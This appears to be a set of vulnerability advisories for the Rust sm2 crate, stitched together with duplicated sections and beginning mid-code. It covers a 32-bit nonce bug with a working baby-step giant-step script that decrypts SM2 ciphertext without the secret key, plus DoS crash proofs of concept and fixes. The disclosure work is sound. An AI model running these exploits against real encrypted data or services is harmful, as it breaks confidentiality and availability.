    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

